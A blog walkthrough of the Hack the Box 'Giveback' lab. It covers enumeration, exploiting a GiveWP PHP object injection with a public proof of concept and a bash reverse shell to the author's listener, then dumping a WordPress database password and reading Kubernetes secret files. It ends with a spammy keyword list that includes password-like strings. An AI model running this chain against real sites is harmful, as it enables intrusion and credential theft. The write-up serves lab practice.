Giveback Hack the Box Walkthrough

Welcome to another Hack the Box walkthrough. In this blog post, I have demonstrated how I owned the Giveback machine on Hack the Box. Hack The Box is a cybersecurity platform that helps you bridge knowledge gaps and prepares you for cyber security jobs.

You can also test and grow your penetration testing skills, from gathering information to reporting. If you are new to this blog, please do not forget to like, comment and subscribe to my YouTube channel and follow me on LinkedIn for more updates.

About the Machine

Giveback is a Medium difficult level machine on Hack the Box.

The first step in owning the Giveback machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn giveback.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Giveback machine and I was assigned an IP address (10.10.11.94).

Enumeration - Initial Nmap Scan

I kicked off my recon with a full version-detection scan against the target:

nmap -sCV -A 10.10.11.94

The host responded immediately, confirming it was alive, and Nmap quickly revealed a very small attack surface. Out of 1000 ports, only two were open - a clear sign that the machine is hardened and probably meant to funnel the attacker toward a specific path.

The open ports were:

• 22/tcp - SSH (OpenSSH 8.9p1, Ubuntu 3ubuntu0.13)

Standard secure shell service. Nothing unusual in its banner, but useful later if credentials or a foothold are discovered. Host keys imply a fresh Ubuntu install.

• 80/tcp - HTTP (nginx 1.28.0 running WordPress 6.8.1)

The web server is running the latest nginx and a fully-patched WordPress instance. The site title, “GIVING BACK IS WHAT MATTERS MOST – OBVI”, suggests a blog, likely the entry point for exploitation. The presence of /wp-admin/ in robots.txt confirms we’re dealing with a typical WordPress deployment - prime ground for plugin or theme misconfigurations.

Nmap also identified the host OS as Linux (kernel 4.x–5.x), and interestingly, some OS fingerprints partially matched MikroTik RouterOS 7.x. While this is a known false positive for certain Linux kernels, it hints that the machine might be running a lightweight or custom network stack.

Overall, the scan tells us exactly where the challenge wants us to look: the WordPress site on port 80 - almost certainly the intended foothold.

Mapping IP Address to Domain Name

After discovering the domain giveback.htb from the Nmap scan and been assigned IP Address 10.10.11.94, I decided to map the target machine IP address to the domain name. This way, I could access the service by name instead of by IP address by running:

echo "10.10.11.94 giveback.htb" | sudo tee -a /etc/hosts

Web Enumeration - Directory Brute-Forcing

After mapping the hostname in /etc/hosts so I could access the site cleanly through giveback.htb, I moved on to content discovery. Since the Nmap scan revealed a WordPress installation, brute-forcing directories is essential - WordPress often exposes interesting endpoints through predictable paths.

I launched DirBuster with the target URL:

dirbuster -u http://giveback.htb

Right away, the scanner behaved strangely. Many requests triggered mismatched HEAD vs GET responses - codes flipping between 301, 503, and 404. This is usually a sign of:

• A reverse proxy or caching layer
• A rate-limit or security plugin
• A WordPress plugin returning custom error pages

Despite the noisy output, DirBuster did manage to uncover the important parts of the site.

Key Findings

Most of the discovered paths turned out to be WordPress-generated directories - archives, categories, RSS feeds, and post permalinks. These aren’t particularly useful for exploitation, but they tell us the site is fully functional and uses the default WordPress URL structure.

Among the noise, several noteworthy entries stood out:

• /login.php → 302 redirect: Suggests a custom login handler, not the default /wp-login.php. Likely part of a donation or membership plugin.
• /donor-dashboard/
• /donation-confirmation/
• /donation-failed/

• /donation-dashboard/rss/

These folders confirm that the site is running a donation management plugin - most likely GiveWP (a common WordPress donation plugin). These plugins often handle user data, payment flows, and exposed endpoints, making them attractive targets.

• /software/ returning 503

An interesting outlier. The 503 suggests an internal error or misconfigured plugin. A path producing server errors is always worth revisiting - sometimes it leaks debug output or reveals a hidden feature.

• /wp-includes/ and subdirectories returning 403

Standard WordPress hardening - no direct execution allowed. Expected, but confirms the site isn't completely misconfigured. The rest of the entries dated archives like /2024/09/21/hello-world/, category pages, and multiple index.php redirects are normal WordPress noise, not attack vectors.

Confirming the CMS - Identifying WordPress

With the DirBuster results strongly suggesting a WordPress-powered site, I wanted to confirm the exact version running on giveback.htb. WordPress installations typically expose their version number inside a meta tag, so I queried the homepage and filtered for it:

curl http://giveback.htb/ | grep 'content="WordPress'

The response immediately returned the generator tag:

<meta name="generator" content="WordPress 6.8.1" />

This confirms two things:

1. The site is indeed running WordPress, not a custom CMS.
2. It's running WordPress 6.8.1, a relatively new version.

Even though it’s up-to-date, WordPress security doesn’t just depend on the core version - plugins and themes are often the real weak points. And since the rest of the site heavily references donation features and custom login flows, the next stage of enumeration needs to focus on plugin analysis and theme files, which are far more likely to expose misconfigurations or vulnerable endpoints.

This step validated my earlier suspicion and set the direction for the exploitation phase:

look beyond WordPress core and dig into the donation system.

Fingerprinting the Web Stack - Identifying GiveWP (The Real Attack Surface)

To get a clearer picture of the technologies behind giveback.htb, I ran WhatWeb, a tool that fingerprints web applications based on signatures and components:

whatweb http://giveback.htb

The scan returned a detailed breakdown of the site’s backend technologies. Besides confirming the basics - nginx 1.28.0, jQuery 3.7.1, and WordPress 6.8.1 - one result stood out immediately:

MetaGenerator[Give v3.14.0, WordPress 6.8.1]

This was the smoking gun.

GiveWP is a popular WordPress donation plugin, and the directory enumeration earlier already hinted heavily at donation-related functionality across the site (/donor-dashboard/, /donation-confirmation/, /donation-failed/). Now I had the exact plugin and version number.

A quick check confirmed my suspicion: GiveWP v3.14.0 is affected by CVE-2024-5932, a critical PHP Object Injection vulnerability. Even worse, the flaw is triggerable by unauthenticated users, meaning attackers don’t need credentials to exploit it. Successful exploitation leads to remote code execution - precisely the level of access needed to gain a foothold on the machine.

At this point, the attack path became crystal clear:

1. The site runs GiveWP v3.14.0.

2. That version is known to be vulnerable to PHP object injection.

3. The vulnerability allows unauthenticated RCE.

With this information in hand, the next phase of the attack shifts from reconnaissance to weaponizing the CVE to achieve command execution on the target.

Exploring the Donation Workflow - The GiveWP Entry Point

With the presence of GiveWP v3.14.0 confirmed, my next step was to browse the donation pages directly to understand how the plugin handled user interactions. Navigating to:

http://giveback.htb/donations/the-things-we-need/

brought me to a fully functional donation form. This page is part of the GiveWP plugin and represents a standard workflow where users select a donation amount, fill in their personal details, and choose a payment method.

The layout appeared legitimate and polished, with preset donation amounts, a custom amount field, and a two-step form asking for donor information. A banner at the top reassured visitors with:

“100% Secure Donation” - ironic given the critical vulnerability hiding underneath.

Even more interesting was the notice indicating the site was running in test mode, which is typical of development or staging environments. This is consistent with HTB machines that simulate realistic setups. More importantly, test mode often exposes additional debugging endpoints or relaxed validation checks - both useful when crafting an exploit.

At this point, just by manually browsing the page, two critical observations stood out:

1. The entire donation workflow is publicly accessible and requires no authentication.
   This aligns perfectly with CVE-2024-5932, which can be triggered by unauthenticated users.

2. The donation form structures, AJAX endpoints, and backend handlers originate from GiveWP itself.
   Meaning every click, every field, and every POST request on this page interacts directly with the vulnerable plugin code.

Confirming that this donation page was functional and exposed to the public was the final piece of the puzzle. It validated that the machine was not only running a vulnerable plugin but was actively using it in a real-world flow - exactly the kind of entry point needed to weaponize the object injection vulnerability and achieve remote code execution.

From here, the next step was clear: inspect how the donation form communicates with the backend and identify the exact endpoint vulnerable to CVE-2024-5932

Finding an Exploit – Cloning the CVE-2024-8353 Proof of Concept

With GiveWP identified as the core attack surface, my next step was to look for publicly available exploits targeting the vulnerable version. While researching known issues, I came across CVE-2024-8353, a recently disclosed vulnerability affecting GiveWP. The advisory linked directly to a proof-of-concept exploit published by EQSTLab on GitHub.

To review and test the exploit locally, I cloned the repository:

git clone https://github.com/EQSTLab/CVE-2024-8353.git

Pulling down the PoC allowed me to inspect the vulnerable request structure, understand the expected payload format, and adapt the exploit to the context of the target machine. Having the exploit source locally is especially useful in CTF environments, where custom adjustments or environment-specific tweaks are often required.

At this point, I had everything I needed:

a confirmed vulnerable plugin, a publicly available exploit, and a live target actively using the affected functionality.

The next phase was to weaponize the PoC and attempt remote code execution against giveback.htb.

Preparing the Exploit Environment

With the exploit cloned, I attempted to install the required Python dependencies using:

pip install -r requirements.txt

Kali, however, wasn’t having it. Because modern Kali Linux ships with PEP 668 protections, pip refuses to install packages system-wide unless they come from apt. The system threw the familiar:

error: externally-managed-environment

Rather than breaking my Python installation, I followed the recommendation and spun up a clean virtual environment:

python3 -m venv venv source venv/bin/activate

From here, installing the needed Python modules was straightforward. I manually pulled in the libraries required by the PoC:

pip install faker pip install rich_click pip install requests

With the environment ready, the exploit was now runnable.

Setting Up the Listener and Launching the Exploit

Before triggering the vulnerability, I set up a reverse shell listener:

nc -lvnp 7777

Then I executed the exploit script against the vulnerable form:

python /home/boltech/Desktop/GivebackHTB/CVE-2024-8353/CVE-2024-8353.py -u http://giveback.htb/give/the-things-we-need -c "bash -c 'bash -i >& /dev/tcp/10.10.14.142/7777 0>&1'"

The script initialized and immediately identified the donation form named “The Things We Need.” Once I selected its ID [17], the exploit retrieved a valid nonce, confirming that the target site was processing form submissions normally - perfect for our payload injection.

The exploit then constructed a malicious serialized PHP object. This object targeted the GiveWP deserialization chain and weaponized a Faker ValidGenerator class to call shell_exec() with our reverse shell command. The final payload was injected into the give_title field - one of the vulnerable parameters highlighted in the advisory.

The script submitted the crafted donation request and printed the fully serialized chain, confirming successful injection.

Getting the Initial Foothold

A moment later, my netcat listener lit up:

listening on [any] 7777 ... connect to [10.10.14.142] from (UNKNOWN) [10.10.11.94] 6356 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell <-64f6bf9654-jqgkx:/opt/bitnami/wordpress/wp-admin$

And just like that, I had a reverse shell - running directly inside the WordPress container of the GiveBack HTB machine. The prompt revealed the environment belonged to a Bitnami WordPress deployment, confirming that the exploit successfully achieved unauthenticated remote code execution via CVE-2024-8353 / CVE-2024-5932.

At this point, I had my foothold and could begin enumerating the container for privilege escalation paths.

With a shell on the container, my next priority was obvious: pivot deeper. Since the target was a WordPress deployment, I checked for the classic jackpot - wp-config.php. This file usually holds everything needed to pivot into the database tier.

So I navigated into the WordPress admin directory and dumped the config:

cat /opt/bitnami/wordpress/wp-config.php

The file opened, and immediately the secrets spilled out. The configuration revealed full database credentials:

• DB_NAME: bitnami_wordpress
• DB_USER: bn_wordpress
• DB_PASSWORD: sW5sp4spa3u7RLyetrekE4oS
• DB_HOST: beta-vino-wp-mariadb:3306

At this point, I essentially had the keys to the backend database. With these credentials, I could authenticate directly to the MariaDB instance and inspect users, plugins, or even drop a custom admin account.

Scrolling further, the file also exposed the site's WordPress security salts and keys - the cryptographic material WordPress uses to sign cookies and sessions. In a real-world scenario, compromising these would let an attacker forge their own authenticated session tokens.

I also noted a few unusual tweaks the developers had made:

• FS_METHOD was set to direct, which allows WordPress to write files directly to the disk. This is dangerous in production, as it enables plugin/theme file edits without FTP or SSH.
• Both WP_HOME and WP_SITEURL were set to dynamic values based on $_SERVER['HTTP_HOST'], meaning the site would accept connections from any hostname. Convenient for the challenge - less so for security.

With full DB access and control over WordPress internals, the foothold was now a platform for privilege escalation. The next step: connecting to the database and turning these secrets into deeper compromise.

Enumerating the Container & Discovering Kubernetes Secrets

After gaining a foothold inside the WordPress shell, I noticed something odd: my shell prompt displayed “I have no name!”. This usually indicates that the current user doesn’t exist in /etc/passwd - a common characteristic of minimal container images. Still, the shell had enough privileges for lateral movement, so I began enumerating the filesystem.

Switching to the container’s root directory revealed a typical Bitnami WordPress layout, including directories like /opt/bitnami, /bitnami, and /secrets. That last one immediately caught my attention because, in Kubernetes environments, /secrets often maps directly to the cluster's mounted Kubernetes Secrets - which can expose credentials if permissions are misconfigured.

I navigated into /secrets, and as expected, it contained three files:

• mariadb-password
• mariadb-root-password
• wordpress-password

These are the exact configuration secrets the WordPress deployment needs to run - and they were all readable by the user inside the container.

Extracting their contents confirmed full credential disclosure. The MariaDB user password, the MariaDB root password, and even the WordPress admin password were sitting in plain text inside the shell. With these in hand, I now had everything needed to authenticate directly to the underlying database, pivot, or even assume full administrative control over the WordPress instance.

This misconfiguration essentially turned the Kubernetes shell into a vault of plaintext secrets, one that the CTF challenge clearly intended to be discovered.

I lost access to the initial virtual machine i was running the command on. You can check the complete (new) Giveback HTB Machine walkthrough here.

Keywords:

Giveback Hack the Box Writeup

Giveback Hack the Box Machine Writeup

Giveback Hack the Box Walkthrough

Giveback Hack the Box Machine Walkthrough

Giveback HTB Writeup

Giveback HTB Walkthrough

Giveback HTB Machine Walkthrough

Giveback HTB Machine Writeup

Giveback Hack the Box HTB Machine Walkthrough Writeup

Giveback HTB Solution

Giveback Hack the Box Solution

Giveback Hack the Box Complete Walkthrough

Giveback Hack the Box Complete Writeup

Giveback Hack the Box Complete Solution

Giveback htb write up

HackTheBox Giveback Writeup

HTB Giveback Writeup.

HackTheBox Giveback Writeup

HackTheBox - Giveback (Writeup)

HTB Writeups - Giveback

HackTheBox Giveback Writeup

Giveback | HTB Writeup | Linux

HTB - Giveback Writeup

Owned Giveback from Hack The Box

Hack The Box - HTB Giveback Writeup

HTB Giveback Detailed Writeup English

HackTheBox | Giveback HackTheBox · HackTheBox | Giveback

Giveback HTB Writeup | HacktheBox | Season 9

HTB Writeup – Giveback

Write-ups Category Posts | Hack The Box Blog

Giveback - Hack the Box - Walkthrough

Giveback - HTB - Walkthrough

Giveback - Hack the Box - Writeup

Giveback - Hack the Box - Solution

eighteen htb writeup

eighteen htb

eighteen htb walkthrough

htb eighteen writeup

eighteen writeup

htb eighteen walkthrough

hackthebox eighteen writeup

eighteen walkthrough

eighteen writeup htb

gavel htb

eighteen hackthebox

eighteen walkthrough htb

htb eighteen

hack the box eighteen

htb gavel writeup

hack the box eighteen walkthrough

eighteen hackthebox writeup

hackthebox eighteen walkthrough

eighteen.htb

eighteen hack the box

gavel writeup

eighteen htb machine

hackthebox gavel writeup

eighteen machine htb

dc01.eighteen.htb

gavel htb writeup

hackthebox eighteen

"eighteen.htb"

hack the box eighteen writeup

eighteen htb write up

htb "eighteen" writeup

"eighteen" hackthebox writeup

eighteen.htb walkthrough

gavel htb write up

htb "eighteen"

htb signed

htb eighteen write up

eighteen.htb writeup

eighteen write up

"eighteen" htb writeup

eighteen hackthebox walkthrough

eighteen writeup hackthebox

eighteen hack the box writeup

htb gavel walkthrough

signed htb

writeup eighteen

gavel hack the box

hackthebox "eighteen"

"eighteen" htb walkthrough

"eighteen.htb" writeup

gavel hackthebox walkthrough

gavel writeup htb

gavel hackthebox writeup

signed.htb

"giveback" htb writeup

"monitorsfour"

htb gavel walkthrough sql injection payload inventory.php

htb gavel sql injection payload inventory.php

eighteen hack the box walkthrough

htb machine editor xwiki simplistcode pro

gavel htb walkthrough

hack the box gavel walkthrough sql injection payload

"gavel.htb"

nanocorp walkthrough

"0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133" password

gavel.htb/admin.php

hercules htb writeup

gavel.htb/includes

overwatch htb writeup

htb gavel

nanocorp htb writeup

editor htb

"hack the box" "eighteen" writeup

gavel.htb

signed htb walkthrough

"eighteen" htb

nanocorp htb

eighteen.htb:5985

hercules htb

gavel hackthebox

hercules htb walkthrough

nanocorp writeup

htb monitorsfour

hackthebox hercules

"dc01.eighteen.htb"

ina2we6harj2gaw!

hackthebox "eighteen" writeup

gavel-util

monitorsfour.htb:5985

gavel.htb/rules

"eighteen" hack the box writeup

eighteen htb github

gavel writeup hackthebox

gavel.htb/.git

hackthebox gavel walkthrough

nanocorp htb walkthrough

hackthebox nanocorp writeup

htb nanocorp writeup

htb topology writeup

gavel 2.0 exploit

signed walkthrough

"giveback.htb"

overwatch htb walkthrough

htb 18

giveback htb

hack the box eighteen machine walkthrough

gavel walkthrough

hercules writeup

monitorsfour htb writeup

overwatch hack the box writeup

editor.htb

htb edit

overwatch hackthebox writeup

htb editor writeup

overwatch.htb writeup

htb hercules writeup

planning htb

monitorsfour htb walkthrough

giveback htb writeup

hackthebox monitorsfour

htb nanocorp

htb overwatch walkthrough

browsed htb writeup

hackthebox nanocorp

htb planning

browsed walkthrough

htb browsed